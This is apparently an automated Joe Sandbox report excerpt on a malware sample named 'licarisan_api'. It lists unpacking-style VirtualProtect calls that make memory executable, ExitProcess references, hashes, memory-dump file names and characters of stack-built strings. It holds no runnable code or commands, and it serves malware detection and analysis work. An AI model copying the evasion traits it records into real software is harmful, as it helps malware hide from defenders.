Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bdb8aea21a4cb6bfb0e977599fe7d2eb8626027c0e7df650af6ff75e88c5adc9
Instruction ID: 2ace93a5d6c33d2c46a5669e3c26b928176cc818fceff40523d5a05fd7932122
Opcode Fuzzy Hash: bdb8aea21a4cb6bfb0e977599fe7d2eb8626027c0e7df650af6ff75e88c5adc9
Instruction Fuzzy Hash: C42172B1D156189FD7A9CB50CC94FB6B778EB84315F2081EED54B5A280DA386EC0DF12

Function 007C8C12 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 338b44fe340f13122142fafbf4942da94926d540e2e7de9f997a5a9d91911dc8
Instruction ID: 9210651c51fa8130da55caca2d6c30c85dac58d59de9790bb6e65e304811c39b
Opcode Fuzzy Hash: 338b44fe340f13122142fafbf4942da94926d540e2e7de9f997a5a9d91911dc8
Instruction Fuzzy Hash: 0211B1709045688FDB798B20DCD4BFAB7B4EB85305F2082EED54B5A181CA381EC1CF26

Function 007FA39A Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 27b40cba31297443125013a48a68abcbb9545012ddfd3115df1035a972cf1093
Instruction ID: cc28e87b3a1f63867b976277e051feca64d45de12b6ede671d07a7ba3beef9b4
Opcode Fuzzy Hash: 27b40cba31297443125013a48a68abcbb9545012ddfd3115df1035a972cf1093
Instruction Fuzzy Hash: EC11C4F090425DAFDB248B65CD849FAB774EF41340F1041FEDA4956381E679AD868B12

Function 00437AC1 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: fdadeb56a7fee1d41a01a609606f364b414a363698e19b925f87e7e1a6cfe0ee
Instruction ID: d1e90c05c289c9bbcd95f7da87344f31754be87a64ef52ff4a9679d0bc0f234e
Opcode Fuzzy Hash: fdadeb56a7fee1d41a01a609606f364b414a363698e19b925f87e7e1a6cfe0ee
Instruction Fuzzy Hash: B92195B1D091A98FEB30DB24CC947E9BB71BF46319F1441EBC499A6282D2345E85CF85

Function 007FA0E7 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1ea211b48a1c89fc4a169d404989650432a079080c0ebfeb6980fea38ed6cff9
Instruction ID: fdd3ee6f72d8bc555d22e06641de1327b6ea9c4c02bab4dde29e9a7c87c5002b
Opcode Fuzzy Hash: 1ea211b48a1c89fc4a169d404989650432a079080c0ebfeb6980fea38ed6cff9
Instruction Fuzzy Hash: FD11E3F090425DAFEB208B55CC849FAB774EF41340F1041FEEA4996241D679AD868E12

Function 007FA13E Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 893f70fde454d93de69ae348da3fbf791ad5e53566c5318d9151d33108bd914f
Instruction ID: 44e78fdbe2531972f61e2e1d702980f19c0fcf198fcce99a75da20e15e0b3d15
Opcode Fuzzy Hash: 893f70fde454d93de69ae348da3fbf791ad5e53566c5318d9151d33108bd914f
Instruction Fuzzy Hash: A111E0F090425DAFEB248B55CC849FAB778EF41300F1042FEEA4A56381D679AD868E12

Function 007FA119 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7c8cd6cbc07008870cdc8be8f7a27a6c2c1a12a594882f275c6620190876c6e1
Instruction ID: f65040f322e208d8a4e5fb34ab66b49660eb9df1cd76627b20274bdfbe20e248
Opcode Fuzzy Hash: 7c8cd6cbc07008870cdc8be8f7a27a6c2c1a12a594882f275c6620190876c6e1
Instruction Fuzzy Hash: A811E0F090425DAFEB208B55CC849FAB778EF41300F1042FEEA4956281D679AD868E12

Function 0080F6A6 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 0080FDEA

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 0f61c7533a9ed5db5217512bd0b5353ae6fa13c545893ade00c2d2f5154c41ee
Instruction ID: 639d24fc9e00882859f7d46a607e05dcfaab4cf845ce86f0c7e62fc566a89617
Opcode Fuzzy Hash: 0f61c7533a9ed5db5217512bd0b5353ae6fa13c545893ade00c2d2f5154c41ee
Instruction Fuzzy Hash: C30126A3A04209AAF7788915DD49BF7767AE7C0304F10C1BAD70E59CC6D7BD0AC69901

Function 007C894A Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2d758493a800ff5ed907641fb4911ff4cd27f37b9be651f213e3e3c995dc6322
Instruction ID: 2f2a036ca516bed3f23ef4a3a1ce2bec7ef95dd1acdf535aaf08a26f0696467d
Opcode Fuzzy Hash: 2d758493a800ff5ed907641fb4911ff4cd27f37b9be651f213e3e3c995dc6322
Instruction Fuzzy Hash: C211C4B1A152588FD7A9CB10CC98BBA7B74FB84305F1081EED54A5A281DB3D5EC1CF12

Function 007C8C27 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5d8e62d4489b4a2f86286a4ac34fdc9179b70693b7bd8040dca664bdb425ac8a
Instruction ID: 4a32ec62c452979f31821f0de2abd10bf33d49d1f86362d43250b0c9baad9ccf
Opcode Fuzzy Hash: 5d8e62d4489b4a2f86286a4ac34fdc9179b70693b7bd8040dca664bdb425ac8a
Instruction Fuzzy Hash: B4118F70905668CFDB79CB10DCD5BFAB7B5AB85305F2082DED55A5A280CA385EC08F26

Function 007B21D6 Relevance: 1.6, APIs: 1, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B29EE

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 99503a097a4855acdbc0c0142371ca1b7218e624da992396bd25416d1143577b
Instruction ID: 7324e0fe5d03cb4de16e14cd26b637836410137e257035f935a6ff9fd45dd29b
Opcode Fuzzy Hash: 99503a097a4855acdbc0c0142371ca1b7218e624da992396bd25416d1143577b
Instruction Fuzzy Hash: 760126F2E062509FF7118A10DC10BEA7779EBD2311F0440FAE90D9A282D67C5AC58B61

Function 0043782F Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1c1ea27179360d8fc005d0709d6fbb5ab4f1613aef04fd4b226c55596f6f9c6b
Instruction ID: 515c29123b53164fc97d8d4b4ab525464833d5dc8302d7a3d072130b1e86ca9b
Opcode Fuzzy Hash: 1c1ea27179360d8fc005d0709d6fbb5ab4f1613aef04fd4b226c55596f6f9c6b
Instruction Fuzzy Hash: EB115EF1E052599FEB24CA00DC44B9EB775FB88308F2040EAD50D17340D739AE81DE55

Function 007BD176 Relevance: 1.5, APIs: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?), ref: 007BD1E3

Memory Dump Source

Source File: 00000000.00000002.1516539906.00000000007BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7bd000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 09da3c507bc4c008466d62611a4f99ad47ea44e04e1986ac161acb0f0e75b6ca
Instruction ID: 9fcb9d9c531f1a44d03a9e846ba2ae3260e05081634f1f3d6ffad01567ddb2a9
Opcode Fuzzy Hash: 09da3c507bc4c008466d62611a4f99ad47ea44e04e1986ac161acb0f0e75b6ca
Instruction Fuzzy Hash: 4301B1B2D09128ABEB70CA24CC44BEB77B9EF84310F1481E9E50CD7640E63A9F85CE51

Function 007C896D Relevance: 1.5, APIs: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b4c51e14b98baae9b8ef15363d0be41bc8157a04e9682debb406ca4106c524ac
Instruction ID: 48030b9c63a57d2dbb573a5555d6008b003ed73e9deb5a72d40ee2234545a58f
Opcode Fuzzy Hash: b4c51e14b98baae9b8ef15363d0be41bc8157a04e9682debb406ca4106c524ac
Instruction Fuzzy Hash: A80184B19146288FDBA9CB10CCD4FEAB778EB84305F1081EED64A5A280DB385EC0DF51

Function 007FA3D4 Relevance: 1.5, APIs: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5a95a51d355137f77ca6193f677d4269b582a44763b3039a874559aecb7d1863
Instruction ID: 4f2661efae5c9d07909c23dc6a121acbcdba07a8e08bc6e9739a32a39e55c247
Opcode Fuzzy Hash: 5a95a51d355137f77ca6193f677d4269b582a44763b3039a874559aecb7d1863
Instruction Fuzzy Hash: 2F014CF190425DAFDB208B64CCC85F6B374EF01340F0002FEDA495A281E679AD468B53

Function 007FA3E0 Relevance: 1.5, APIs: 1, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,00000000,?,?,?), ref: 007FA422

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 401991dd49af9bbb6e739afffc6fc26a2f4c3d90d781dd3b9f5ba90632234f40
Instruction ID: 6a07117ff5def00e82d7aca505fbbebe02fa39ee271ad987b62e6b2f6fa99a5f
Opcode Fuzzy Hash: 401991dd49af9bbb6e739afffc6fc26a2f4c3d90d781dd3b9f5ba90632234f40
Instruction Fuzzy Hash: 36014CB150415D9FDB208B68CCC85F9B775EF41340F0002FEDA495A282D6796D86CB12

Function 007A5D6A Relevance: 1.5, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 681036dbc0da77f3324c5c3c6743064ac2725d7347521c1cfd8a2a6bc389f192
Instruction ID: 6d2e2d22ce492961b6dc822c9dc7a0de0b3d5f4406ee9cd6ed06e181c8aeaf88
Opcode Fuzzy Hash: 681036dbc0da77f3324c5c3c6743064ac2725d7347521c1cfd8a2a6bc389f192
Instruction Fuzzy Hash: 270175F1914559AFF728CB20DC55FAA7774FB54300F0582EEE649A6280D6399F808F50

Function 007C858E Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7cf324f6faa8f252d6f97d536eb3e3c3ebae3fb4b8b860743794def3778a5ad2
Instruction ID: 12965f72277f4f03397aa10ec5806a8cf3b4a3c1625c3fcce174c97a998fa2b1
Opcode Fuzzy Hash: 7cf324f6faa8f252d6f97d536eb3e3c3ebae3fb4b8b860743794def3778a5ad2
Instruction Fuzzy Hash: AFF0A4B2A15214AAE7698B50DCD4FF77B68E744314F1046EEA60B5A1C09B3D5EC08E26

Function 007A5AE2 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8cf01369379f08a5fbe8c04a8959705451e4ad461a12f1ff44f0861ef515add0
Instruction ID: 92c271bdc90af22deca2d8ab069fba8920351cc8113e5f744a82a9e4ff6d925d
Opcode Fuzzy Hash: 8cf01369379f08a5fbe8c04a8959705451e4ad461a12f1ff44f0861ef515add0
Instruction Fuzzy Hash: 3A0144F19545596FF728CB60DC55FAAB7B8FB54300F0481EEE609A6680D6399E808F50

Function 007A5B39 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d026ec2352ca639c9e0b720e0fa34e0d80ebe95c7fe7fa314932ad2412fa21e9
Instruction ID: 3984e620eb819525f1dfeebbbd4f76639e62297d3405863fd96cba4b6f5100c1
Opcode Fuzzy Hash: d026ec2352ca639c9e0b720e0fa34e0d80ebe95c7fe7fa314932ad2412fa21e9
Instruction Fuzzy Hash: 460144F19545595FF728CB50DC55FBAB778FB54300F0481EEE60966680D6395E808F50

Function 007A5B14 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,007A5A73,?,?,?,?,?,?,?,?), ref: 007A5DF2

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aab9457de864079b4fc676d1968aee92daebce1a076a463c9fffbe9e4da3b9e0
Instruction ID: 8050184d872ce109a6ad0f84502f7816d78adb51733b37dc7196a49e5cf737e2
Opcode Fuzzy Hash: aab9457de864079b4fc676d1968aee92daebce1a076a463c9fffbe9e4da3b9e0
Instruction Fuzzy Hash: 720144F19545595FF728CB50DC55FABB778FB54300F0481EEE60966680D6399E808F50

Function 007BD1B3 Relevance: 1.5, APIs: 1, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?), ref: 007BD1E3

Memory Dump Source

Source File: 00000000.00000002.1516539906.00000000007BD000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7bd000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9701c6281934e8b065531cd7e8627a6666b65866e52170f45206b40a1eee7d59
Instruction ID: 31ee0bfc485e5670d10dc8f00b539c102374d8c0479f6df1ab996a66e5ae682f
Opcode Fuzzy Hash: 9701c6281934e8b065531cd7e8627a6666b65866e52170f45206b40a1eee7d59
Instruction Fuzzy Hash: C1F0F6719040285BE721CA54CC58BEB7778FF50341F0046E9D60CDB150E6369E89CF91

Function 007C89EC Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d09d43ad7945e7fee041c3a362543351f6aa23732f8d7c40737a6ee548fafbfe
Instruction ID: e886bfc358fef6e6975a6b403ecb557cec548b139798783d2dba6dbe6ca63386
Opcode Fuzzy Hash: d09d43ad7945e7fee041c3a362543351f6aa23732f8d7c40737a6ee548fafbfe
Instruction Fuzzy Hash: 0E01A4B1A152189FD769CB10CCD4FE6B778EB44305F1085DEA64B5A280DB3C5E80CF25

Function 007C89BA Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8e81c4178ff77a0f1468b92d2e5577b9a79606e6d4f81deb3914c3468b538e7c
Instruction ID: 453783b2c2a0fb99dfadbd86d82141391872aecbc937134958a67c7afec5d12b
Opcode Fuzzy Hash: 8e81c4178ff77a0f1468b92d2e5577b9a79606e6d4f81deb3914c3468b538e7c
Instruction Fuzzy Hash: 9C0181B1A152189FD7698B10CCD4FE6B778EB44305F1081DEA64B5A280DA385E80CF25

Function 007C8A11 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3b655f22da194fb67730c6007a80189b389f3693d1019497f920e6d1ec0341c2
Instruction ID: 6863a1fabf4c57e6981cb1f10dc1ab763d77373ad740dee9e0b360be40c58e93
Opcode Fuzzy Hash: 3b655f22da194fb67730c6007a80189b389f3693d1019497f920e6d1ec0341c2
Instruction Fuzzy Hash: A90181B1A152189FD7698B10CCD4FE6B778EB44305F2082DEA64A5A280DA385E808F25

Function 007B28D5 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B28FD
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,?,007B22D7,?,?,?,?,00000000,007B23F1), ref: 007B29EE

Memory Dump Source

Source File: 00000000.00000002.1516514758.00000000007B2000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b2000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ce3466b6ca6498dd4ab8599f69ceb763b3cc871a2ca58aa974f248f2df521d89
Instruction ID: 273b86a652aef32d32fc9ff9ee61656ac79674b1efb5aa4e1340ec176d051e6b
Opcode Fuzzy Hash: ce3466b6ca6498dd4ab8599f69ceb763b3cc871a2ca58aa974f248f2df521d89
Instruction Fuzzy Hash: 44F0B4719066549FD7699B20CC14BE97BB9EF85310F0440DFE50DAA192CA755DC4CF21

Function 007C8CB0 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ff29f2f5fac71d49a3088341229a295d08937b9e52e6c97720208acd0e6f3c46
Instruction ID: 4fbca93e5b1c6aff27cbf9c6409c3989d304920cdce9f4412b4c2c134b89a880
Opcode Fuzzy Hash: ff29f2f5fac71d49a3088341229a295d08937b9e52e6c97720208acd0e6f3c46
Instruction Fuzzy Hash: 02F020B16152149FC76A8B60CCE4EF77B78EB45304F1082CEE30B5A081CB399E808F26

Function 00437B2B Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7c0bb3511f0ee4933da69fc9222b7b307ac97302f4c4d0abad879550b4785f10
Instruction ID: 073af56a61c608fc445793186a0efab4c3a7b02f1d4947ad0d46e869968c6a48
Opcode Fuzzy Hash: 7c0bb3511f0ee4933da69fc9222b7b307ac97302f4c4d0abad879550b4785f10
Instruction Fuzzy Hash: 51016DB08091AC8FEB30DB15C8816ACBBB0BF0A319F1051DBC49996282D2349E868F45

Function 007C8CB7 Relevance: 1.5, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ec9015dbb2681070da6787c92ef621083d9c419d9a55108b0dc85fe52c28d5e6
Instruction ID: ae9355d5ba3aa43491c99cbac5b9da0bf7065fb94f3ccfe82ad05f69e7f5da59
Opcode Fuzzy Hash: ec9015dbb2681070da6787c92ef621083d9c419d9a55108b0dc85fe52c28d5e6
Instruction Fuzzy Hash: 64F0E5B16242549FD76DCB60CC98EE77778EB84304F1082DEA20B5A081DB399E808F05

Function 00437B3A Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 8e5b4b32e8e15b2fc5841874e4b2f4bc8ea3451fed7caad48925152c529c4f98
Instruction ID: 2420b67199de159ef091c6d46dea3472d044b7077e82cbfbbb276946968a5447
Opcode Fuzzy Hash: 8e5b4b32e8e15b2fc5841874e4b2f4bc8ea3451fed7caad48925152c529c4f98
Instruction Fuzzy Hash: 6CF049B090926D8EEB30CB10CC957ECB7B0BF09319F0041EAC4AD66280C3385EC19F86

Function 007C8CA9 Relevance: 1.5, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 007C8CF5

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 10fa37949360c3ecf08d6b7ef30c8c05df7abe32ce03343b21a2c9a4df937790
Instruction ID: 4321e97c2f7959dbf5c777f610102cd647b22ce6474961401dacd6fd2cb4a5c2
Opcode Fuzzy Hash: 10fa37949360c3ecf08d6b7ef30c8c05df7abe32ce03343b21a2c9a4df937790
Instruction Fuzzy Hash: 6EE092B1A146549EC76A9B648C68EAB7BB8AF46304F1041CEE24A5B081DB349A818F12

Non-executed Functions

Function 007C8DF0 Relevance: 60.3, Strings: 48, Instructions: 266COMMON

Download Yara Rule

Strings

l, xrefs: 007C8FCE
G, xrefs: 007C8F73
G, xrefs: 007C9182
P, xrefs: 007C904D
e, xrefs: 007C8FAB
o, xrefs: 007C8F8F
e, xrefs: 007C9189
t, xrefs: 007C8F81
a, xrefs: 007C8FB9
e, xrefs: 007C8FD5
r, xrefs: 007C902A
M, xrefs: 007C9197
W, xrefs: 007C8FDC
